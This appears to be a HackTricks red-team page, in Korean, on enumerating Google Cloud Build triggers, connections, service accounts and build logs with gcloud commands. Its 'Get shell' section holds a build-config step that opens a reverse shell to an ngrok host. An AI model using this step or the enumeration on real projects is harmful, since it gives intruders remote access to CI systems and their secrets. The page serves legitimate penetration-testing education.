GCP - Cloud Build Enum

Reading time: 6 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

Google Cloud Build는 소프트웨어 빌드 및 릴리스 프로세스를 자동화하는 관리형 CI/CD 플랫폼으로, 소스 코드 리포지토리와 통합되며 다양한 프로그래밍 언어를 지원합니다. 개발자가 코드를 자동으로 빌드, 테스트 및 배포할 수 있도록 하며, 빌드 단계 및 워크플로우를 사용자 정의할 수 있는 유연성을 제공합니다.

각 Cloud Build Trigger는 Cloud Repository와 관련이 있거나 외부 리포지토리(Github, Bitbucket 및 Gitlab)와 직접 연결되어 있습니다.

tip

여기서나 Cloud Repositories에서 Github/Bitbucket 토큰을 훔칠 방법이 보이지 않았습니다. 리포가 다운로드될 때 https://source.cloud.google.com/ URL을 통해 접근되며, Github는 클라이언트에 의해 접근되지 않습니다.

이벤트

Cloud Build는 다음과 같은 경우에 트리거될 수 있습니다:

  • 브랜치에 푸시: 브랜치를 지정합니다.
  • 새 태그 푸시: 태그를 지정합니다.
  • 풀 리퀘스트: PR을 받는 브랜치를 지정합니다.
  • 수동 호출
  • Pub/Sub 메시지: 주제를 지정합니다.
  • 웹훅 이벤트: HTTPS URL을 노출하며 요청은 비밀로 인증되어야 합니다.

실행

3가지 옵션이 있습니다:

  • 실행할 명령을 지정하는 yaml/json. 일반적으로: /cloudbuild.yaml
  • 웹 콘솔 및 CLI에서 “인라인”으로 지정할 수 있는 유일한 것
  • 가장 일반적인 옵션
  • 인증되지 않은 접근에 관련됨
  • 빌드를 위한 Dockerfile
  • 빌드를 위한 Buildpack

SA 권한

서비스 계정은 cloud-platform 범위를 가지므로 모든 권한을 사용할 수 있습니다. SA가 지정되지 않은 경우(제출 시와 같이) 기본 SA <proj-number>@cloudbuild.gserviceaccount.com사용됩니다.

기본적으로 권한이 주어지지 않지만, 쉽게 부여할 수 있습니다:

승인

Cloud Build를 빌드 실행에 대한 승인을 요구하도록 구성할 수 있습니다(기본적으로 비활성화됨).

PR 승인

트리거가 PR일 때, 누구나 공개 리포지토리에 PR을 수행할 수 있기 때문에 모든 PR로 트리거 실행을 허용하는 것은 매우 위험합니다. 따라서 기본적으로 실행은 소유자 및 협력자에게만 자동으로 이루어지며, 다른 사용자의 PR로 트리거를 실행하려면 소유자 또는 협력자가 /gcbrun으로 댓글을 달아야 합니다.

연결 및 리포지토리

연결은 다음을 통해 생성할 수 있습니다:

  • GitHub: Github 토큰을 얻기 위한 권한을 요청하는 OAuth 프롬프트가 표시됩니다. 이 토큰은 Secret Manager에 저장됩니다.
  • GitHub Enterprise: GithubApp 설치를 요청합니다. GitHub Enterprise 호스트에서 인증 토큰이 생성되어 이 프로젝트의 Secret Manager 비밀로 저장됩니다.
  • GitLab / Enterprise: API 접근 토큰과 읽기 API 접근 토큰을 제공해야 하며, 이는 Secret Manager에 저장됩니다.

연결이 생성되면, 이를 사용하여 Github 계정이 접근할 수 있는 리포지토리를 연결할 수 있습니다.

이 옵션은 버튼을 통해 사용할 수 있습니다:

tip

이 방법으로 연결된 리포지토리는 2세대 트리거에서만 사용할 수 있습니다.

리포지토리 연결

이는 **연결**과 동일하지 않습니다. 이는 Github 또는 Bitbucket 리포지토리에 접근하는 다양한 방법을 허용하지만 연결 객체를 생성하지 않으며, 1세대의 리포지토리 객체를 생성합니다.

이 옵션은 버튼을 통해 사용할 수 있습니다:

저장소

때때로 Cloud Build는 트리거를 위한 파일을 저장할 새로운 저장소를 생성합니다. 이는 GCP가 제공하는 예제와 같은 경우에 발생합니다:

bash
git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

A Storage bucket called security-devbox_cloudbuild는 사용될 파일이 포함된 .tgz를 저장하기 위해 생성되었습니다.

Get shell

yaml
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

cloud build 내에 gcloud 설치:

bash
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Enumeration

빌드 구성 및 로그에서 민감한 정보를 찾을 수 있습니다.

bash
# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

권한 상승

GCP - Cloudbuild Privesc

인증되지 않은 접근

GCP - Cloud Build Unauthenticated Enum

포스트 익스플로잇

GCP - Cloud Build Post Exploitation

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기